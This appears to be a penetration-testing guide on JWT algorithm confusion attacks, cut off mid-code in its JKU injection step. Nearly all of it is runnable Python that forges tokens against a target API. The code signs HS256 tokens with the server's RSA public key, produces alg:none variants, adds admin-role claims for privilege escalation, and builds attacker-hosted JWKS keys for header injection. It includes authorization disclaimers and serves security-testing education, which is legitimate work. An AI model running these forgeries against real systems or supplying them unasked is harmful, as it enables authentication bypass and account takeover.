exploiting-jwt-algorithm-confusion-attack

# Exploiting JWT Algorithm Confusion Attack ## When to Use - Testing APIs that use RS256 (asymmetric) JWT tokens for authentication to check for algorithm downgrade to HS256 - Assessing JWT implementations for alg:none bypass where the server skips signature verification - Evaluating JWT libraries for key confusion vulnerabilities where the public key is used as HMAC secret - Testing kid (Key ID), jku (JWK Set URL), and x5u (X.509 URL) header parameters for injection - Validating that the API server enforces a specific algorithm and does not trust the JWT header **Do not use** without written authorization. JWT exploitation can lead to authentication bypass and account takeover. ## Prerequisites - Written authorization specifying the target API and JWT-based authentication in scope - A valid JWT token from the target API (obtained through legitimate authentication) - The server's RSA public key (obtainable from JWKS endpoint, TLS certificate, or public key endpoint) - Python 3.10+ with `PyJWT`, `cryptography`, and `requests` libraries - jwt_tool for automated JWT attack testing - Burp Suite with JWT Editor extension > **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. ## Workflow ### Step 1: JWT Token Analysis ```python import base64 import json import requests import hmac import hashlib import time BASE_URL = "https://target-api.example.com/api/v1" # Capture a valid JWT token login_resp = requests.post(f"{BASE_URL}/auth/login", json={"email": "test@example.com", "password": "TestPass123!"}) valid_token = login_resp.json().get("access_token", "") # Decode JWT parts def decode_jwt(token): parts = token.split('.') if len(parts) != 3: raise ValueError("Invalid JWT format") def pad(s): return s + '=' * (4 - len(s) % 4) header = json.loads(base64.urlsafe_b64decode(pad(parts[0]))) payload = json.loads(base64.urlsafe_b64decode(pad(parts[1]))) return header, payload, parts[2] header, payload, signature = decode_jwt(valid_token) print(f"Algorithm: {header.get('alg')}") print(f"Key ID: {header.get('kid', 'none')}") print(f"Type: {header.get('typ')}") print(f"JKU: {header.get('jku', 'none')}") print(f"\nPayload: {json.dumps(payload, indent=2)}") print(f"\nExpires: {time.ctime(payload.get('exp', 0))}") ``` ### Step 2: Obtain the Public Key ```python from cryptography.hazmat.primitives import serialization from cryptography.x509 import load_pem_x509_certificate # Method 1: JWKS endpoint jwks_url = f"{BASE_URL}/.well-known/jwks.json" jwks_resp = requests.get(jwks_url) if jwks_resp.status_code == 200: jwks = jwks_resp.json() print(f"JWKS keys found: {len(jwks.get('keys', []))}") for key in jwks['keys']: print(f" kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}") # Extract RSA public key from JWKS from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers from cryptography.hazmat.backends import default_backend rsa_key = jwks['keys'][0] # First key n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big') e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big') public_key = RSAPublicNumbers(e, n).public_key(default_backend()) public_key_pem = public_key.public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo ) print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}") # Method 2: From well-known OpenID configuration oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration") if oidc_resp.status_code == 200: jwks_uri = oidc_resp.json().get('jwks_uri') print(f"JWKS URI from OIDC config: {jwks_uri}") # Method 3: Exposed at common paths for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]: resp = requests.get(f"{BASE_URL}{path}") if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text): print(f"Public key found at: {path}") ``` ### Step 3: Algorithm Confusion Attack (RS256 to HS256) ```python def forge_hs256_with_public_key(token, public_key_pem, modifications=None): """ Algorithm confusion: Sign token with HS256 using the RSA public key as secret. If the server uses a generic verify() that trusts the alg header, it will use the public key as the HMAC secret, matching our signature. """ parts = token.split('.') payload = json.loads(base64.urlsafe_b64decode(parts[1] + '==')) # Modify payload if requested if modifications: payload.update(modifications) # Create header with HS256 new_header = {"alg": "HS256", "typ": "JWT"} # Encode header and payload header_b64 = base64.urlsafe_b64encode( json.dumps(new_header).encode()).decode().rstrip('=') payload_b64 = base64.urlsafe_b64encode( json.dumps(payload).encode()).decode().rstrip('=') # Sign with HMAC-SHA256 using the RSA public key as the secret signing_input = f"{header_b64}.{payload_b64}".encode() # Use the raw PEM bytes as the HMAC key if isinstance(public_key_pem, str): public_key_pem = public_key_pem.encode() signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest() sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=') return f"{header_b64}.{payload_b64}.{sig_b64}" # Attack 1: Algorithm confusion with same claims confused_token = forge_hs256_with_public_key(valid_token, public_key_pem) resp = requests.get(f"{BASE_URL}/users/me", headers={"Authorization": f"Bearer {confused_token}"}) print(f"Algorithm confusion (same claims): {resp.status_code}") if resp.status_code == 200: print("[CRITICAL] Algorithm confusion attack successful - RS256 to HS256") # Attack 2: Algorithm confusion with elevated privileges admin_token = forge_hs256_with_public_key(valid_token, public_key_pem, modifications={"role": "admin", "sub": "admin@example.com"}) resp = requests.get(f"{BASE_URL}/admin/users", headers={"Authorization": f"Bearer {admin_token}"}) print(f"Algorithm confusion (admin): {resp.status_code}") if resp.status_code == 200: print("[CRITICAL] Admin access via algorithm confusion + claim manipulation") # Attack 3: Try different public key formats key_formats = [ public_key_pem, # Full PEM public_key_pem.strip(), # Stripped whitespace public_key_pem.replace(b'\n', b''), # No newlines public_key_pem.decode().split('\n')[1:-1], # Base64 only ] for i, key_format in enumerate(key_formats): if isinstance(key_format, list): key_format = ''.join(key_format).encode() elif isinstance(key_format, str): key_format = key_format.encode() token = forge_hs256_with_public_key(valid_token, key_format) resp = requests.get(f"{BASE_URL}/users/me", headers={"Authorization": f"Bearer {token}"}) if resp.status_code == 200: print(f"[CRITICAL] Key format {i} worked for algorithm confusion") ``` ### Step 4: Algorithm None Attack ```python def forge_none_algorithm(token, modifications=None): """Create tokens with alg:none variations to bypass signature verification.""" parts = token.split('.') payload = json.loads(base64.urlsafe_b64decode(parts[1] + '==')) if modifications: payload.update(modifications) payload_b64 = base64.urlsafe_b64encode( json.dumps(payload).encode()).decode().rstrip('=') # Different "none" algorithm variations none_variants = [ {"alg": "none", "typ": "JWT"}, {"alg": "None", "typ": "JWT"}, {"alg": "NONE", "typ": "JWT"}, {"alg": "nOnE", "typ": "JWT"}, {"typ": "JWT"}, # Missing alg entirely ] tokens = [] for variant_header in none_variants: header_b64 = base64.urlsafe_b64encode( json.dumps(variant_header).encode()).decode().rstrip('=') # Different signature options sig_options = [ "", # Empty signature ".", # Just a dot parts[2], # Original signature base64.urlsafe_b64encode(b'\x00').decode().rstrip('='), # Null byte ] for sig in sig_options: tokens.append(f"{header_b64}.{payload_b64}.{sig}") return tokens # Test all none algorithm variations none_tokens = forge_none_algorithm(valid_token) for i, token in enumerate(none_tokens): resp = requests.get(f"{BASE_URL}/users/me", headers={"Authorization": f"Bearer {token}"}) if resp.status_code == 200: header = json.loads(base64.urlsafe_b64decode(token.split('.')[0] + '==')) print(f"[CRITICAL] alg:none bypass #{i}: header={header}, sig_len={len(token.split('.')[2])}") # Test with privilege escalation admin_none_tokens = forge_none_algorithm(valid_token, modifications={"role": "admin", "is_admin": True}) for token in admin_none_tokens: resp = requests.get(f"{BASE_URL}/admin/users", headers={"Authorization": f"Bearer {token}"}) if resp.status_code == 200: print("[CRITICAL] Admin access via alg:none bypass") break ``` ### Step 5: JKU and KID Header Injection ```python import os # Attack: JKU (JWK Set URL) injection # Host attacker-controlled JWKS that contains our key pair def generate_attacker_jwks(): """Generate an RSA key pair and JWKS for the attacker's server.""" from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend # Generate attacker key pair private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) public_key = private_key.public_key() public_numbers = public_key.public_numbers() n_b64 = base64.urlsafe_b64encode( public_numbers.n.to_bytes(256, 'big')).decode().rstrip('=') e_b64 = base64.urlsafe_b64encode( public_numbers.e.to_bytes(3, 'big')).decode().rstrip('=') jwks = { "keys": [{ "kty": "RSA", "kid": "attacker-key-1", "use": "sig", "alg": "RS256", "n": n_b64, "e": e_b64 }] } return private_key, jwks attacker_private_key, attacker_jwks = generate_attacker_jwks() # Create JWT with JKU pointing to attacker server def forge_jku_token(payload_modifications, jku_url): """Create a JWT signed with attacker key, JKU pointing to attacker JWKS.""" payload = json.loads(base64.urlsafe_b64decode(valid_token.split('.')[1] + '==')) payload.update(payload_modifications) header = { "alg": "RS256", "typ": "JWT", "kid": "attacker-key-1", "jku": jku_url # Points to attacker-hosted JWKS } header_b64 = base64.urlsafe_b64encode( json.dumps(header).encode()).decode().rstrip('=') payload_b64 = base64.urlsafe_b64encode(